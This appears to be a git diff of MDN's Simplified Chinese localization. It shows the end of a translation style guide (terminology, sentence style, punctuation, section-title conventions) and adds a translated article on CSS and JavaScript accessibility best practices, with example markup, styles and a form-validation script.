这段话中有两个微妙的词“global objects”和“global object”,一个是复数一个是单数。但我们知道,中文的名词并没有单复数的变化,因此直译过来都是“全局对象”,然而原文却恰恰需要对两者的不同进行解释,但是同一个名词怎么会有两种不同的解释呢?如何在中文中表达原文的意思呢?

- -

我们先来看之前的翻译,它采用的是直译,即将两个词都翻译为”全局对象“(将这个作为反例列在这里并没有贬低或指责的意思,仅仅是想通过这个例子让大家理解本小节所要表达的意思):

- -
“全局对象(global objects)”(或标准的内置对象)与全局对象(global object)不同。
-这里的全局对象(global objects)指的是全局作用域中的对象。而全局对象(global
-object)本身可以……实际上,全局作用域由全局对象(global object)的属性组成,包括
-继承属性(如果有的话)。
- -

”全局对象与全局对象不同“,显然会让读者犯糊涂。虽然译者在两个”全局对象“后面加上了它们的英文名称,但是收效甚微,读者仍然会被这段话搞晕,因为它们的英文名称也是很相似的。因此,这里必然不能采用直译的方式,而应该选择符合原文意思,但是中文名称又有明显不同的名词来翻译。下面是我对这段译文的重新翻译:

- -
标准内置对象也称为全局对象(global objects)。注意这里的全局对象指的是具有全局作用域
-的“一组”对象,而全局对象这个词还有一层意思,用来指代当前环境中的顶层对象,该对象在……
-事实上,全局作用域就是由顶层对象的属性组成的,包括继承而来的属性(如果有的话)。
- -

我选择把第二个全局对象(即单数形式的 global object)翻译为”顶层对象“,这样就把两个全局对象从中文名称上区别开了。同时,我还对整段译文进行了较大的调整,因为如果仅仅是将“global object”替换为“顶层对象”仍然不是很好,可能会让读者感到困扰。请将上面的译文与下面的这段对比一下:

- -
“全局对象”(或标准的内置对象)与顶层对象不同。这里的全局对象指的是全局作用域中的对象。
-而顶层对象本身可以……实际上,全局作用域由顶层对象的属性组成,包括继承属性(如果有的话)。
-
- -

一个读者在初次读到这段话的时候,可能会产生以下疑问:

- -
    -
  1. 全局对象当然与顶层对象不同了,它们的名称就不一样啊,为什么要强调这一点?
  2. -
  3. 为什么要将两者放到一起比较?就像你说月亮和犀牛是不一样的,我肯定会感到奇怪。
  4. -
- -

所以,追求意思准确的同时还要尽量让中文表述更合理、自然。

- -

认识英文和中文在表述习惯上的不同

- -

由于思维方式、表述习惯、语言语法/句法等方面的差异,同样的意思,中文和英文在表述形式上经常会有差异。而我们在翻译的时候应当注意并尽量抹平这种差异,以符合中文读者的阅读习惯。这可以有效提高你的翻译质量。

- -

下面是我所想到的一些中文和英文在表述习惯上的差异。欢迎补充。

- -
英文中主语很少省略
- -

英文强调格式严谨,一个句子里面主语谓语通常是必须有的,但中文则注重表意,只要意思表达清楚就行。对于这样的句子,多数时候我们都不需要把其中的主语翻译出来。

- -
-

All arguments passed to the function are treated as the names of the identifiers of the parameters in the function to be created, in the order in which they are passed.

-
- -

这句话中的“they”就是一个不太重要的主语(虽然是在从句中),翻译时去掉也不会有什么影响:

- -
-

传递给函数的所有参数都会以函数的参数列表中的标识符名称来对待,并以它们传递时的顺序来匹配。

-
- -
万能动词
- -

英语中有很多万能动词:do、make / take、get、have 等,遇到这些万能动词的时候最好留意一下,尽量将其替换成其原本所要指代的动作。

- -
-

可能是受英文的影响,中文中也越来越多地出现了一些万能动词,比如“作为”、“进行”等。个人认为这是一种不好的现象,应该尽量避免滥用这些词。

-
- -
被动句式
- -

英语中经常喜欢用被动句式来表达一种被动关系。但其实在中文里面我们一般只有在需要强调物和人之间存在被动关系的时候才会使用被动句式,其他时候一般不会刻意使用被动句式。如果将文章中出现的每个被动句式都翻译成“被……”可能会让译文看起来略显生硬且翻译腔浓重。因此应该仅在必要的时候才采用被动句式来翻译,其他时候直接忽略原文中的被动关系即可。

- -

这种情况在英文中很常见,随便找一下就能找到不少。比如:

- -
-

Strings are useful for holding data that can be represented in text form. 

-
- -

如果直接翻译,可能会翻译成:

- -
-

字符串在用来保存那些可以被表示成文本形式的数据时很有用。

-
- -

这样翻译虽然也能正确表达原文的意思,但是中文在这种情况下一般不会刻意使用被动句式,所以完全可以去掉“被”字:

- -
-

字符串在用来保存那些可以表示成文本形式的数据时很有用。

-
- -

其实这句话还可以进一步简化:

- -
-

字符串在保存文本数据时很有用。

-
- -

原文最后的整个从句仅仅用来说明“data”是“文本数据”而已,“can be represented in”和最后的“form"都是次要的,在中文里面完全可以省略。你甚至可以将这句话翻译成下面这样:

- -
-

字符串可以用来保存文本数据。

-
- -

完全不会影响读者的理解!

- -
将来句式
- -

和被动句式一样,英文中也经常使用将来句式来表达这是一个可能发生的动作或者将来会发生的动作。然而,同被动句式一样,翻译的时候我们通常都不需要将其翻译成“将……”。

- -

这种情况同样有很多,随便举一例:

- -
For character access using bracket notation, attempting to delete or assign a value to these properties will not succeed. 
- -

很多人会把这句话翻译成:

- -
-

尽管可以使用方括号的方式来访问字符,但是试图删除或为其赋值将不会成功。

-
- -

这样翻译会带有明显的翻译腔,实际上并不需要把原文中的“will”翻译出来,直接忽略即可:

- -
-

尽管可以使用方括号的方式来访问字符,但是试图删除或为其赋值是无法成功的。

-
- -
一个……
- -

英文中的名词有单复数变化,在遇到复数名词的时候,我们一般都知道并不需要刻意把这种复数翻译出来。但是还有一种情况我们却往往会忽略,那就是单数可数名词前面有“a”或“an”的时候,我们经常会翻译成“一个……”。实际上,多数时候并不需要加上这个数量词。

- -

比如下面这个例子:

- -
-

It's possible to use String as a more reliable toString() alternative, as it ...

-
- -

当然,你可以按照原样来翻译,将“a”翻译为“一种”或“一个”:

- -
-

将 String 函数作为 toString() 方法的一种更可靠的替代是可行的,因为它……

-
- -

虽然看起来没什么问题,但是这里的“一种”、“一个”是完全多余的,去掉之后不但不会影响翻译效果,而且还会显得更加简洁。其实这个翻译还犯了一个前面所说过的万能动词的问题,“作为”在这里并不是太好,另外把“possible”翻译为“可行”、“可能”也不是很好,因为“possible”在这里只是用来说明“可以”这么做。

- -

总之,这个翻译的翻译腔还是浓了点,仍然有改进的空间:

- -
-

可以用 String 函数代替 toString() 方法,并且这样更可靠一些,因为它……

-
- -
当……的时候
- -

英文中经常会使用”when“来表示一种状态,或某种条件,而在中文里面我们不会经常用“当……的时候”这种表述方式来表达这种状态和条件。所以不要一遇到“when”、“while”,就把它翻译成“当……的时候”,应该先判断一下这里的“when”和“while”确实是用来表示时间,还是仅仅用来表示状态或条件。

- -

看下面这个例子:

- -
When memory is shared, multiple threads can read and write the same data in memory. 
- -

这里的“when”所表示的就是一种条件,所以最好不要将其翻译为“当内存是共享的时候”。下面是我的翻译:

- -
-

多个共享内存的线程能够同时读写同一位置上的数据。

-
- -

翻译中的标点符号

- -

英语有一个比较死板的规则,一个句子中包含了主谓宾的时候,就应该用句号把这个句子结束掉,然后再另起一句。但是中文却没有这种限制,因此在翻译的时候,我们不要总是把英语的句号当做一个句子的结束,有时候把逻辑关系比较强的几句英文合并为一句中文会更好。

- -

排版和风格

- -

这一节介绍了一些在页面排版、样式、风格等方面可能会遇到的一些问题,并给出指导建议。

- -

关于英文单词两边的空格

- -

首先,这是一个见仁见智的问题,不同的人可能有不同的喜好。这里建议你加上空格(因为我喜欢 :-p),当然你完全可以按照自己的喜好来。

- -

但是,请在同一篇文章中保持风格统一。如果你正在编辑别人之前翻译过的文章,也请尽量与文章原有风格保持一致(或者如果你不嫌麻烦,可以将整篇文章全部改成你喜欢的风格)。整齐划一的风格会使阅读时如沐春风,从而有利于读者从你的文章中获益。

- -

标点符号

- -

请在译文中使用中文标点。在中文中夹杂着英文标点是很不严谨的做法,并且不利于读者的阅读体验。

- -
-

这里所说的标点不包括代码中的标点。但如果选择翻译代码中的注释,则注释中的标点也应该一并翻译为中文。

-
- -

这里不再强调一般的标点对应关系,仅列举几种特殊情况:

- - - -

小节标题的翻译

- -

MDN 上的很多文章都具有类似的结构,比如很多文章都包含“Specifications”和“Browser compatibility”两个小节。为了保证文章间的统一性,常见小节的标题翻译应尽量保持一致。下面就给出一些文章中常见的小节及其推荐翻译方法。此表欢迎补充。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
常见小节的标题翻译
英文标题推荐翻译方法不推荐翻译方法示例
Examples示例例子、举例Array 中的示例一节
Specifications规范标准、规范文档Array 中的规范一节
Browser compatibility浏览器兼容性浏览器的兼容性、浏览器兼容Array 中的浏览器兼容性一节
See also相关链接参考、参见、更多内容Array 中的相关链接一节
Obsolete已过时已废弃、作废、淘汰<a> 标签的已过时一节
Syntax语法句法Array 中的语法一节
Description描述说明Array 中的描述一节
Properties属性属性列表Array 中的属性一节
Methods方法方法列表Array 中的方法一节
…… instances……实例……对象、……实例化Array 中的数组实例一节
Attributes属性 <a> 标签的属性一节
- -

缩写的展开

- -

展开缩写时使用中文括号,括号中首先给出缩写的完整英文表达,后面跟着逗号和中文翻译。例如:

- -
HTML(HyperText Markup Language,超文本标记语言)
- -
-

HTML(超文本标记语言,HyperText Markup Language)

-
- -
-

HTML(超文本标记语言——HyperText Markup Language)

-
- -
-

HTML (HyperText Markup Language,超文本标记语言) (注:使用了英文括号)

-
- -

选择题

- -

有时候,我们会在翻译过程中面临某个单词或某段内容是译还是不译、哪种翻译方法更好的选择。本小节总结了翻译中的一些常见问题,并给出一些意见和建议,供参考。

- -

长句还是短句?

- -

没有人会乐意阅读复杂和很长的句子。但是有时候由于所要表达的内容本身的逻辑复杂性,而导致无法进一步压缩句子的长度和复杂度。但是这时候我们可以通过调整顺序和拆分句子来降低它的理解难度。

- -

“你”还是“您”?

- -

对于非严谨的地方,一般用“你”即可,这样亲切些,没必要冷冰冰的。当然必要的时候(一般是警告的地方,如“您即将从演示室移除xxx”)可以使用“您”来称呼。

- -

译还是不译?

- - - -

示例代码及注释

- -

MDN 上面的很多文章中都包含示例代码。一般来说,你可以将这些代码及注释原封不动地复制过来,并不需要刻意去翻译。示例代码不同于正式工作中所写的代码,示例代码主要是说明概念和用法,因此通常会设计的很简单,并且主要的解释都已经在前面的文章内容里面了,注释大多数时候只是起到辅助说明的作用,所以多数时候,即使读者完全不看注释也不妨碍他们对示例的理解。

- -

但是有几种情况还是建议最好能对其中的注释做一下翻译。

- -
1. 示例中涉及到其他知识,而注释正是为了解释这部分知识而添加的
- -

在这种情况下,确保读者已完全理解了注释就是相当必要的了,否则可能会影响对整个示例的理解。因此这种情况最好能对这部分注释做一下翻译。

- -

比如下面是摘自 JavaScript Array 对象中的例子。该示例涉及到正则表达式的应用,而对于初学者来说,他可能还不太了解什么是正则表达式,以及这段代码的结果是什么,这会使他产生迷惑(而且原文中本段代码后面还配有一个详细解释了代码执行结果的表格,如果读者无法理解这段代码,他很可能也看不懂那个表格中的内容)。

- -
// Match one d followed by one or more b's followed by one d
-// Remember matched b's and the following d
-// Ignore case
-
-var myRe = /d(b+)(d)/i;
-var myArray = myRe.exec('cdbBdbsbz');
- -

所以我选择对其进行翻译

- -
// 匹配1个 d 后面紧跟着至少1个 b,再后面又跟着1个 d 的子串,
-// 并且需要记住子串中匹配到的 b 和最后的 d (通过正则表达式中的分组),
-// 同时在匹配时忽略大小写
-
-myRe = /d(b+)(d)/i;
-myArray = myRe.exec("cdbBdbsbz");
- -
2. 注释的内容是对原文的补充
- -

有些示例是对原文的补充说明,而不是单纯的演示和举例。这时候,示例和注释相当于是原文的一部分,因此这种情况下最好能将注释翻译出来。

- -
3. 惯用语的翻译
- -

这一点不太容易解释,并且我个人觉得还存在争议,列在这里供参考。

- -

有些注释中使用了一些我们平时的惯用语,而这些惯用语我们已经习惯了中文化的表达,对英文并不熟悉。这种情况下,可以适当对其进行翻译。

- -

一个常见的例子,我们经常会在示例中使用打印语句来打印信息,以此说明程序的运行结果。这种时候,英文文档中经常会用“// print 100”或”// log 100“来对打印语句做注释。如果我们将其翻译为”// 打印 100“可能看起来会更加亲切一些。

- -

标签

- -

页面底部的标签大部分情况下并不需要翻译。

- -

URL slug

- -

slug 就是网页地址后面的那一串,用来标识每一篇文章。如果你正面临是否需要翻译 slug 的选择,请选择 No!保留 slug 为英文可以保证链接的可读性,也可以避免翻错的情况(这个一旦确定好像就不能修改了)。

- -

保存和恢复翻译进度

- -

翻译一篇文章可能无法一次完成,尤其是比较长的文章。幸好 MDN 的编辑器可以将进度自动保存在你的本地电脑中,在你不小心关闭了浏览器,或者不小心点击了一个链接而离开了当前页面的时候,自动保存的内容会在你重新打开编辑页面的时候自动恢复,从而避免丢失之前的劳动成果。

- -

但是,请不要百分百依赖编辑器的自动保存功能,偶尔它也有失效的时候,而一旦发生就可能会造成严重后果。

- -

如果因为文章内容较多而导致翻译时间很长,可以在取得阶段性成果之后先将内容提交,并在提交时勾选“版本备注” -> “本地化标志” -> "本地化进行中 - 还没完全翻译呢",这样提交后用户看到的页面上会显示“翻译正在进行中”的提示信息。

- -

最后,如果你在翻译过程中存在一些拿不准的地方,或者自我感觉译文中可能存在错误或需要改进的地方,那么你可以在提交时勾选“版本备注” -> “需要复核吗?”中的“技术复核”或“文法复核”选项。这样其他志愿者就可以看到并帮助你复核译文。

- -

其他

- -

这一小节列出了翻译过程中可能会遇到的其他一些问题。

- -

Firefox UI 控件名称

- -

除非中文版 UI 控件的翻译有明显错误,否则控件名称(如操作步骤中描述的窗口、菜单、按钮等)都应尽量参照所描述版本或最新版 Firefox 中的翻译,以保证可对应。

- -

若最新版 Firefox 的 UI 仍有错误的翻译或你有改善建议,请到 mozest 本地化板块反馈或邮件通知简体中文本地化成员

- -

引用链接

- -

英文版文章中可能会包含引用 MDN 中其他文章的绝对链接,此时要注意将链接修改为中文版的 URL。

- -

修改方法很简单,一般是把其中的 en-US 改为 zh-CN 即可。比如下面是 JavaScript 文档中对全局对象的介绍,分别对应英文版和中文版:

- -

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects

- -

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects

- -

待完善

- -

本规范还有很多不完善的地方,如果你有什么好的意见和建议,欢迎编辑本页面,当然也可以到MDNzh论坛来讨论。

- -

 

- -

 

diff --git a/files/zh-cn/learn/accessibility/css_and_javascript/index.html b/files/zh-cn/learn/accessibility/css_and_javascript/index.html new file mode 100644 index 0000000000..bdc3b01b2e --- /dev/null +++ b/files/zh-cn/learn/accessibility/css_and_javascript/index.html @@ -0,0 +1,367 @@ +--- +title: CSS 和 JavaScript 无障碍最佳实践 +slug: learn/Accessibility/CSS和JavaScript +tags: + - CSS + - hiding + - unobtursive + - 初学者 + - 对比 + - 导航 + - 文章 + - 无障碍 + - 编码脚本 + - 颜色 +translation_of: Learn/Accessibility/CSS_and_JavaScript +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Accessibility/HTML","Learn/Accessibility/WAI-ARIA_basics", "Learn/Accessibility")}}
+ +

当CSS和JavaScript使用得当,很有可能改善Web访问体验,相反如果滥用的话,则会极大的损害可访问性。本文概述了一些应该被考虑的CSS和JavaScript 的最佳实践,这些实践保证了即使是复杂的内容也可以尽可能容易的被访问。

+ + + + + + + + + + + + +
准备: +

基本的计算机读写能力,对HTML、CSS和JavaScript的基本理解,以及对可访问性的理解。

+
目标:熟悉在 Web 文档中适当地使用 CSS 和 JavaScript,以最大限度地提高可访问性,并且不损害它。
+ +

CSS和JavaScript是可访问的吗?

+ +

CSS和JavaScript对于作为HTML的可访问性没有直接的重要性,但是它们仍然能够帮助或破坏可访问性,这取决于它们是如何使用的。换句话说,重要的是考虑一些最佳实践建议,以确保使用CSS和JavaScript不会破坏文档的可访问性。

+ +

CSS

+ +

让我们从CSS开始吧!

+ +

正确的语义和用户期望

+ +

可以使用 CSS 使任何 HTML 元素看起来像任何东西,但这并不意味着您应该这样做。正如我们经常提到的HTML: A good basis for accessibility,您应该尽可能为作业使用适当的语义元素。如果不这样做,它可能会导致混乱和可用性问题,对每个人,尤其是残障用户。使用正确的语义与用户期望有很大的帮助 –– 元素的外观和功能会根据它们的功能进行某些方式的显示,而且用户期望这些常见的约定。

+ +

例如,如果开发人员没有适当地使用标题元素标记内容,则屏幕阅读器用户无法通过标题元素导航页面。同样,如果对标题进行样式设置,则标题将失去其视觉目的,使其看起来不像标题。

+ +

经验法则是,您可以更新页面功能的样式以适应您的设计,但不要更改它太多,使其不再按预期的外观或活动。以下各节总结了要考虑的主要 HTML 功能。

+ +

“标准”的内容结构

+ +

标题、段落、列表和页面的核心文本内容:

+ +
<h1>Heading</h1>
+
+<p>Paragraph</p>
+
+<ul>
+  <li>My list</li>
+  <li>has two items.</li>
+</ul>
+ +

一些典型的 CSS 如下所示:

+ +
h1 {
+  font-size: 5rem;
+}
+
+p, li {
+  line-height: 1.5;
+  font-size: 1.6rem;
+}
+ +

你应该:

+ + + +

有关详细信息,请参阅 HTML text fundamentalsStyling text

+ +

强调的文本

+ +

内联标记,赋予其包裹的文本特别强调:

+ +
<p>The water is <em>very hot</em>.</p>
+
+<p>Water droplets collecting on surfaces is called <strong>condensation</strong>.</p>
+ +

您可能希望向强调的文本添加一些简单的颜色:

+ +
strong, em {
+  color: #a60000;
+}
+ +

但是,您很少需要以任何显著的方式设置强调元素的样式。粗体和斜体文本的标准约定非常容易识别,更改样式可能会导致混淆。有关强调的更多信息,请参阅Emphasis and importance

+ +

缩写

+ +

允许缩写、首字母缩略词或初始化与其扩展关联的元素:

+ +
<p>Web content is marked up using <abbr title="Hypertext Markup Language">HTML</abbr>.</p>
+ +

同样,您可能希望以某种简单方式设置样式:

+ +
abbr {
+  color: #a60000;
+}
+ +

缩写的公认样式约定是虚线下划线,偏离这一原则明显是不明智的。有关缩写的更多,请参阅Abbreviations

+ +

链接

+ +

超链接 — 您到达新网站的方式:

+ +
<p>Visit the <a href="https://www.mozilla.org">Mozilla homepage</a>.</p>
+ +

一些非常简单的链接样式如下所示:

+ +
a {
+  color: #ff0000;
+}
+
+a:hover, a:visited, a:focus {
+  color: #a60000;
+  text-decoration: none;
+}
+
+a:active {
+  color: #000000;
+  background-color: #a60000;
+}
+ +

标准链接约定为下划线,标准状态为不同颜色(默认:蓝色),以前访问过链接时另一种颜色变化(默认:紫色),以及激活链接时的另一种颜色(默认:红色)。此外,当链接被鼠标悬停时,鼠标指针将变为指针图标,并且链接在聚焦(例如通过 tabbing)或激活时变成高亮。下图显示了 Firefox(虚线轮廓)和 Chrome(蓝色轮廓)中的高光:

+ +

+ +

+ +

您可以使用链接样式进行创意,只要用户在与链接交互时不断提供反馈即可。当状态发生变化时,确实应该发生某些情况,并且不应删除指针光标或大纲 - 对于使用键盘控件的人来说,两者都是非常重要的辅助功能。

+ +

表单元素

+ +

允许用户将数据输入到网站的元素:

+ +
<div>
+  <label for="name">Enter your name</label>
+  <input type="text" id="name" name="name">
+</div>
+ +

您可以在我们的form-css.html 示例中看到一些很好的示例 CSS(查看示例)。

+ +

您将为表单编写的大多数 CSS 将用于调整元素大小、排列标签和输入,以及让它们看起来整洁。

+ +

但是,您不应过多偏离元素在聚焦时接收的预期视觉反馈表单,这与链接基本相同(见上文)。您可以设置焦点/悬停状态样式,使这种行为在浏览器中更加一致,或者更适合您的页面设计,但不要完全摆脱它 ––同样,人们依靠这些线索来帮助他们了解发生了什么。

+ +

表格

+ +

用于显示表格数据的表。

+ +

您可以在table-css.html示例中看到表 HTML 和 CSS 的一个很好的简单示例(查看示例)。

+ +

表 的CSS 通常使表更适合您的设计,看起来不那么难看。最好确保表标题醒目(通常使用粗体),并使用斑马条带化使不同的行更易于解析。

+ +

颜色和颜色对比度

+ +

为网站选择配色方案时,请确保文本(前景)颜色与背景颜色对比度良好。您的设计可能看起来很酷,但如果有视觉障碍(如色盲)的人无法阅读您的内容,则设计就无一好可做。

+ +

有一个简单的方法来检查您的对比度是否足够大,不会引起问题。有许多对比检查工具可以在线输入您的前景和背景颜色,以检查它们。例如,WebAIM 的颜色对比度检查器易于使用,并说明了您需要满足有关颜色对比度的 WCAG 标准的内容。

+ +
+

注意:高对比度还允许任何使用带有光面屏幕的智能手机或平板电脑的人在明亮的环境中(如阳光)更好地阅读页面。

+
+ +

另一个提示是不要仅仅依靠颜色来提供路标/信息,因为对于那些看不到颜色的人来说,这没有什么用。例如,不要用红色标记所需的表单字段,而是用星号和红色标记它们。

+ +

隐藏的东西

+ +

在很多情况下,可视化设计需要并非同时显示所有内容。例如,在我们的Tabbed info box example (请参阅源码),我们有三个信息面板,但我们将它们放在彼此之上,并提供可以单击以显示每个选项卡的选项卡(也可以使用键盘 - 您也可以使用 Tab 和 Enter/Return以选择它们)。

+ +

+ +

屏幕阅读器用户并不关心这些内容 , 只要资源的顺序有意义,他们就对内容感到满意, 并且他们可以获得所有内容。绝对定位(如本示例所示)通常被视为隐藏内容以进行视觉效果的最佳机制之一,因为它不会阻止屏幕阅读器访问它。

+ +

另一方面,不应使用 {{cssxref("visibility")}}:hidden或 {{cssxref("display")}}:none,因为它们会隐藏屏幕阅读器中的内容。当然,除非您希望从屏幕阅读器中隐藏此内容,这是有充分理由的。

+ +
+

注意:Invisible Content Just for Screen Reader Users有围绕本主题的更多有用详细信息。

+
+ +

接受用户覆盖样式

+ +

接受用户覆盖您的样式

+ +

用户可以使用自己的自定义样式覆盖样式,例如:

+ + + +

用户可能出于各种原因执行此操作。视力受损的用户可能希望使其访问的所有网站上的文本变大,严重色缺乏(severe color difeciency)的用户可能希望将所有网站置于易于查看的高对比度颜色中。无论需要什么,您都应该对此感到满意,并使您的设计足够灵,以便此类更改在您的设计中起作用。例如,您可能希望确保主要内容区域可以处理较大的文本(可能它将开始滚动以允许查看所有文本),并且不会只是隐藏它,或者完全中断。

+ +

JavaScript

+ +

JavaScript 还可能会中断可访问性,具体取决于其使用方式。

+ +

现代 JavaScript 是一种功能强大的语言,如今我们可以使用它,从简单的内容和 UI 更新到成熟的 2D 和 3D 游戏。没有任何规则规定所有内容都必须对所有人 100% 可访问 ––您只需尽力而为,并使你的应用尽可能可访问。

+ +

简单的内容和功能可以说是很容易使访问 - 例如文本,图像,表格,窗体和按钮,激活功能。正如我们在 HTML: A good basis for accessibility文中提到的,主要注意事项包括:

+ + + +

我们还查看了如何使用 JavaScript 在缺少功能的地方构建的示例 , 请参阅 Building keyboard accessibility back in。这不是理想的 - 实际上,你应该只使用正确的元素为正确的作业 –– 但它表明在情况下它是可能的,由于某种原因,你不能控制使用的标记。提高非语义 JavaScript 支持的小部件的可访问性的另一种方法是使用 WAI-ARIA 为屏幕阅读器用户提供额外的语义。下一篇文章还将详细介绍这一点。

+ +

复杂的功能,如3D游戏是不容易提高可访问性的 ––使用WebGL创建的复杂3D游戏将在 {{htmlelement("canvas")}}元素上呈现,该元素目前没有提供文本替代或其他信息的功能视障用户使用。可以说,这样的游戏并没有真正有这群人作为它的主要目标观众的一部分,这将是不合理的,期望你使它100%访问盲人,但你可以实现键盘控制,所以它可以使用非鼠标用户,并使配色方案的对比度足以让有颜色缺陷的人使用。

+ +

太多JavaScript导致的问题

+ +

过于依赖JavaScript会导致许多问题。有时你会看到一个网站,其中一切都已经用JavaScript完成 ––JavaScript生成HTML,CSS等等。随之而来,会出现各种可访问性问题,因此这样做是不建议的。

+ +

正确的工作需要使用正确的元素和技术!仔细考虑:消息框是否必须用JavaScript 3D实现,纯文本是否就刚好。仔细考虑是否需要复杂的非标准表单小部件,或者文本输入是否就行。如果可能,不要使用 JavaScript 生成所有 HTML 内容。

+ +

保持别抢眼

+ +

在创建内容时,应牢记 unobtrusive JavaScript原则。unobtrusive JavaScript 的想法是,它应该尽可能用于增强功能,而不是完全构建它 - 基本功能最好在没有 JavaScript 的情况下正常工作,尽管人们认识到,这并不总是一个选项。但同样,它的大部分是尽可能使用内置的浏览器功能。

+ +

unobtrusive JavaScript 使用的良好示例包括:

+ + + +

例如,我们编写了一个快速而糟糕的客户端客户端表单验证示例 — 请参form-validation.html(see the demo live)。在示例中,你会看到一个简单的表格;当您尝试提交一个或两个字段为空的表单时,提交将失败,并且会出现一个错误消息框,告诉您出了什么问题。

+ +

这种表单验证并不引人注目 - 在 JavaScript 不可用的情况下,您仍然可以很好的使用表单,并且任何合理的表单实现都将激活服务器端验证,因为恶意用户很容易绕过客户端验证(例如,通过在浏览器中关闭 JavaScript)。客户端验证对于报告错误仍然非常有用 ––用户可以立即了解他们所犯的错误,而不必等待到服务器的往返和页面重新加载。这是一个明确的可用性优势。

+ +
+

注意:此简单示例中尚未实现服务器端验证。

+
+ +

我们使此表单验证非常容易访问。我们使用 {{htmlelement("label")}}元素来确保表单标签明确链接到其输入,因此屏幕阅读器可以一起读取它们:

+ +
<label for="name">Enter your name:</label>
+<input type="text" name="name" id="name">
+ +

我们仅在提交表单时执行验证— 这样,我们就不会过于频繁地更新 UI,并可能混淆屏幕阅读器(可能还有其他)用户:

+ +
form.onsubmit = validate;
+
+function validate(e) {
+  errorList.innerHTML = '';
+  for(var i = 0; i < formItems.length; i++) {
+    var testItem = formItems[i];
+    if(testItem.input.value === '') {
+      errorField.style.left = '360px';
+      createLink(testItem);
+    }
+  }
+
+  if(errorList.innerHTML !== '') {
+    e.preventDefault();
+  }
+}
+ +
+

注意:在此示例中,我们使用绝对定位而不是其他方法(如可见性或显示)隐藏和显示错误消息框,因为它不会干扰屏幕阅读器从中读取内容。

+
+ +

实际表单验证会比这复杂得多 - 您需要检查输入的名称实际上看起来像一个名称,输入的年龄实际上是一个数字,并且与真实情况符合(例如,不是负数或四位数字)。在这里,我们刚刚实现了一个简单的验证,是否将值填充到每个输入字段(if(testItem.input.value === ''))。

+ +

执行验证后,如果测试通过,则提交表单。如果存在错误(if(errorList.innerHTML !== '')) ,则我们停止表单提交(使用preventDefault()),并显示已创建的任何错误消息(见下文)。此机制意味着只有存在错误时才会显示错误消息,这是一个明确的可用性优势。

+ +

对于提交表单时没有填写值的每个输入,我们创建一个包含链接的列表项,并将其插入到 errorList 中。

+ +
function createLink(testItem) {
+  var listItem = document.createElement('li');
+  var anchor = document.createElement('a');
+  anchor.textContent = testItem.input.name + ' field is empty: fill in your ' + testItem.input.name + '.';
+  anchor.href = '#' + testItem.input.name;
+  anchor.onclick = function() {
+    testItem.input.focus();
+  };
+  listItem.appendChild(anchor);
+  errorList.appendChild(listItem);
+}
+ +

每个链接都有双重用途 - 它不仅告诉您错误是什么,而且可以单击它/激活它直接跳转到有问题的输入元素,并且更正输入。

+ +
+

注意:此示例的 focus() 部分有点棘手。Chrome 和 Edge(以及较新版本的 IE)将在单击链接时聚焦元素,而无需onclick/focus()代码块。Safari 只会突出显示表单元素,并自行显示链接,因此需要 onclick/focus()代码块来实际聚焦它。Firefox 没有在上下文中正确的聚焦输入,因此 Firefox 用户目前无法利用这一点(尽管其他一切都正常)。Firefox 问题应该尽快会得到修复 — 现在的工作是使 Firefox 行为与其他浏览器的行为相同(参见 {{bug(277178)}})。

+
+ +

此外,errorField 被放置在源顺序的顶部(与 UI 中使用 CSS时相比,位置不同),这意味着用户可以准确找出表单提交时的问题,并通过返回到页面的开头,来获悉有问题的输入元素。

+ +

最后,我们在演示中使用了一些 WAI-ARIA 属性,以帮助解决因为内容区域不断更新而未重新加载页面,导致的辅助功能问题(默认情况下,屏幕阅读器不会选取该属性或提醒用户):

+ +
<div class="errors" role="alert" aria-relevant="all">
+  <ul>
+  </ul>
+</div>
+ +

我们将在下一篇文章中解释这些属性,其中将更详细地介绍 WAI-ARIA 。

+ +
+

注意:一些人可能会考虑这样一个事实,即 HTML5 表单有内置的验证机制,如requiredmin/minlengthmax/maxlength属性(详细信息,请参阅 {{htmlelement("input")}}元素引用)。我们最终没有在演示中使用这些功能,因为不是所有的浏览器都支持(例如,仅 IE10 及以上版本支持,Safari不支持)。

+
+ +
+

注意:WebAIM 的Usable and Accessible Form Validation and Error Recovery提供了一些有关可访问表单验证的更多的有用信息。

+
+ +

其他 JavaScript 可访问性问题

+ +

在实现 JavaScript 和考虑可访问性时,还有其他需要注意的事项。一旦发现将会添加更多。

+ +

鼠标特定事件

+ +

正如你所知,客户端JavaScript使用事件处理程序,实现大多数用户交互,它允许我们运行函数以响应某些事件的发生。某些事件可能有辅助功能问题。您将遇到的主要示例是鼠标特定的事件,如鼠标悬停( mouseover)、鼠标划出(mouseout)、双击(dblclick) 等。使用其他机制(如键盘控件)无法访问为这些事件而运行的功能。

+ +

为了缓解此类问题,您应该将这些事件与可以通过其他方式(所谓的设备独立事件处理程序)激活的类似事件相结合 —— focusblur将为键盘用户提供可访问性。

+ +

让我们看一个示例:突出显示了何时可能有用。我们想要实现一个缩略图:当鼠标悬停或聚焦在图像上,可以放大图像(正如电子商务产品目录所展示的)。

+ +

我们做了一个非常简单的示例,您可以在mouse-and-keyboard-events.html 中找到(另请参阅源码)。该代码具有显示和隐藏放大图像的两个函数;它由以下几行行实现,这些行将它们设置为事件处理程序:

+ +
imgThumb.onmouseover = showImg;
+imgThumb.onmouseout = hideImg;
+
+imgThumb.onfocus = showImg;
+imgThumb.onblur = hideImg;
+ +

当鼠标指针在缩略图上悬停或者移开,将分别调用前两行代码。此时不允许我们通过键盘访问缩略图 —— 为了允许这一点,我们调用后两行代码,它们在图像聚焦和失焦时(聚焦停止)运行函数。这可以在图像加tab键实现,因为我们为图像的属性设置tabindex="0"

+ +

Click 事件很有趣 ––听起来它依赖于鼠标,但是大多数的浏览器,在有焦点的链接或者表单元素上,按下 enter/return 之后,或者在触屏设备上点击一个元素,都将会激活 onclick 事件处理程序。但是,当您允许非默认可聚焦事件使用 tabindex 进行焦点处理时,默认情况下不起作用 , 在这种情况下,您需要在按下确切键时进行专门检测(请参阅Building keyboard accessibility back in)。

+ +

总结

+ +

我们希望这篇文章在网页设计中关于CSS和JavaScript的无障碍问题提供了足够多的细节。

+ +

下一篇内容是,WAI-ARIA!

+ +
{{PreviousMenuNext("Learn/Accessibility/HTML","Learn/Accessibility/WAI-ARIA_basics", "Learn/Accessibility")}}
